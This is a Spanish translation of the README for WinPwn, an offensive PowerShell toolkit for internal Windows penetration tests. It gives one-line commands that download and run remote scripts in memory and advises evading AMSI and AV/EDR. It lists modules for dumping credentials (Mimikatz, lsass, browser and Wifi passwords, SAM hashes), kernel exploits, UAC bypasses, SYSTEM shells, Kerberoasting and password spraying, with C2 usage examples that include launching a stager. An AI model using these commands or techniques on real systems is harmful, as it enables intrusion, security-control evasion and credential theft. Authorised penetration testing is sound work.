(Palabras de @S3cur3Th1sSh1t) En muchas pruebas de penetración internas pasadas, a menudo tuve problemas con los scripts existentes de Powershell Recon/Explotación debido a la falta de soporte de proxy. Además, a menudo ejecutaba los mismos scripts uno tras otro para obtener información sobre el sistema actual y/o el dominio. Para automatizar la mayor cantidad de procesos internos de penetración (reconocimiento y explotación) y por la razón del proxy escribí mi propio script con reconocimiento e integración automática de proxy. El script se basa en su mayor parte en otros grandes proyectos de seguridad ofensiva Powershell bien conocidos.
Módulos
Sólo importa los módulos con:
Import-Module .\WinPwn.ps1
o,
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Para eludir el AMSI tome una de las técnicas de elusión existentes, encuentre el trigger del AMSI y cámbialo manualmente en la función de elusión o codifica la cadena del trigger. Alternativamente ofuscar todo el script.
Si estás usando ObfusWinPwn.ps1
– ahora estás haciendo uso del proyecto amsi.fail por Flangvik, no soy responsable del código alojado allí – pero el proyecto es genial así que lo apoyo aquí.
Para crear un nuevo proceso PowerShell protegido que se ejecuta con la mitigación del proceso BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/Obfus_SecurePS_WinPwn.ps1')
Esto evita que las DLLs que no son de Microsoft (por ejemplo, productos AV/EDR) se carguen en PowerShell – a menos que tengan un certificado Cross-Signed de Microsoft.
Si te encuentras atascado en un sistema Windows sin acceso a Internet – no hay problema, simplemente utiliza Offline_Winpwn.ps1
, los scripts y ejecutables más importantes están incluidos.
Funciones disponibles
Estas son las funciones disponibles después de la importación: (puedes ver una pequeña demostración en este vídeo)
WinPwn
-> Menú para elegir ataques:
Inveigh
-> Ejecuta Inveigh en una nueva ventana de la Consola , ataques SMB-Relay con gestión de Sesión (Invoke-TheHash) integradaSessionGopher
-> Ejecuta Sessiongopher Preguntando por los parámetrosKittielocal
->
- Versión ofuscada de Invoke-Mimikatz
- Safetykatz en memoria
- Vuelca lsass usando la técnica de rundll32
- Descarga y ejecuta Lazagne ofuscado
- Volcado de las credenciales del navegador
- Versión personalizada de Mimikittenz
- Exfiltración de credenciales Wifi
- Volcado de archivos SAM NTLM Hashes
- SharpCloud
Localreconmodules
->
- Recoge el software instalado, el software vulnerable, los recursos compartidos, la información de red, los grupos, los privilegios y mucho más
- Comprueba vulneraciones típicas como SMB-Signing, LLMNR Poisoning, MITM6 , WSUS sobre HTTP
- Comprueba los registros de eventos de Powershell en busca de credenciales u otra información sensible
- Recoge las credenciales del navegador y el historial
- Busca contraseñas en el registro y en el sistema de archivos
- Busca archivos sensibles (archivos de configuración, archivos RDP, bases de datos keepass)
- Buscar binarios .NET en el sistema local
- Opcional: Get-Computerdetails (Powersploit) y PSRecon
Domainreconmodules
->
- Recoger varias informaciones de dominio para la revisión manual
- Buscar contraseñas AD en los campos de descripción
- Buscar archivos compartidos de dominio potencialmente sensibles
- Se enumeran los sistemas/usuarios de delegación no restringidos
- Generación de informes Bloodhound
- MS17-10 Scanner para sistemas de dominio
- Bluekeep Scanner para sistemas de dominio
- Funciones de descubrimiento y auditoría de SQL Server – PowerUpSQL
- Comprobación de MS-RPRN para Domaincontrollers o todos los sistemas
- Auditoría de políticas de grupo con Grouper2
- Generación de un informe AD en archivos CSV (o XLS si está instalado Excel) con ADRecon
- Comprobación de impresoras en busca de vulnerabilidades comunes
- Búsqueda de rutas de ataque de Delegación Restringida Basada en Recursos
- Comprobar todos los DCs para zerologon – CVE-2020-1472
- Y mucho más, simplemente echa un vistazo
Privescmodules
- itm4ns Invoke-PrivescCheck
- winPEAS
- Powersploits PowerUp Allchecks, Sherlock, GPPPasswords
- Dll Hijacking, File Permissions, Registry permissions and weak keys, Rotten/Juicy Potato Check
kernelexploits
->
- MS15-077 – (XP/Vista/Win7/Win8/2000/2003/2008/2012) ¡sólo x86!
- ¡MS16-032 – (2008/7/8/10/2012)!
- ¡MS16-135 – (sólo WS2k16)!
- CVE-2018-8120 – ¡Mayo de 2018, Windows 7 SP1/2008 SP2,2008 R2 SP1!
- CVE-2019-0841 – ¡Abril de 2019!
- CVE-2019-1069 – Polarbear Hardlink, se necesitan credenciales – ¡Junio de 2019!
- CVE-2019-1129/1130 – Race Condition, se necesitan varios núcleos – ¡Julio de 2019!
- CVE-2019-1215 – Septiembre de 2019 – ¡sólo x64!
- CVE-2020-0638 – Febrero de 2020 – ¡sólo para x64!
- CVE-2020-0796 – SMBGhost
- CVE-2020-0787 – marzo de 2020 – todas las versiones de Windows
- Explotación Juicy-Potato
- itm4ns Printspoofer
UACBypass
->
- UAC Magic, Basado en el post de tres partes de James Forshaw sobre UAC
- Técnica UAC Bypass cmstp, por Oddvar Moe
- DiskCleanup UAC Bypass, por James Forshaw
- Técnica DccwBypassUAC, por Ernesto Fernández y Thomas Vanhoutte
SYSTEMShell
->
- Pop System Shell usando CreateProcess
- Pop System Shell usando NamedPipe Impersonation
- Pop System Shell usando Token Manipulation
- Bind System Shell usando UsoClient DLL load o CreateProcess
Shareenumeration
-> Invoke-Filefinder e Invoke-Sharefinder (Powerview / Powersploit)Domainshares
-> Búsqueda de Snaffler o Passhunt en todos los sistemas de dominioKerberoasting
-> Ejecuta Invoke-Kerberoast en una nueva ventana y almacena los hashes para su posterior craqueoSharphound
-> Informe Bloodhound 3.0Sharpcradle
-> Cargar archivos C# desde un servidor web remoto a la RAMDomainPassSpray
->Bluekeep
-> Ataques DomainPasswordSpray , una contraseña para todos los usuarios del dominioBluekeep
-> Bluekeep Scanner para sistemas de dominio
Sin parámetros, la mayoría de las funciones sólo se pueden utilizar desde un shell interactivo. Así que decidí añadir los parámetros -noninteractive
y -consoleoutput
para que el script se pueda utilizar desde un C2-Framework asíncrono como Empire, Covenant, Cobalt Strike u otros. Se pueden utilizar de la siguiente manera:
Uso
- -noninteractive -> No se pregunta por las funciones para que se ejecuten con parámetros predefinidos o definidos por el usuario
- –consoleoutput -> No se crean las carpetas de botín/informe. Cada función devuelve la salida a la consola para que pueda echar un vistazo a todo en los logs del agente de ejemplos de C2-Framework:
Esto devolverá cada uno de los scripts y funciones de reconocimiento de dominio y probablemente te dará mucha salida
WinPwn -noninteractive -consoleoutput -DomainRecon
Esto enumerará tanta información del sistema local como sea posible
WinPwn -noninteractive -consoleoutput -Localrecon
Ejecuta funciones básicas de reconocimiento local y almacena la salida en las carpetas correspondientes
Generalrecon -noninteractive
Ejecuta un stager en un proceso de alta integridad desde una sesión con pocos privilegios
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp
Volcar las credenciales del navegador a través de Sharpweb devolviendo la salida a la consola:
Kittielocal -noninteractive -consoleoutput -browsercredentials
Ejecuta Seatbelt, PowerUp, Watson y más binarios C# en memoria
Kittielocal -noninteractive -browsercredentials
Busca en C:\Program Files\
y C:\Program Files (x86)\
para ensamblajes .NET
Dotnetsearch -consoleoutput -noninteractive
WinPwn (este enlace se abre en una nueva ventana) por S3cur3Th1sSh1t (este enlace se abre en una nueva ventana)
Automation for internal Windows Penetrationtest / AD-Security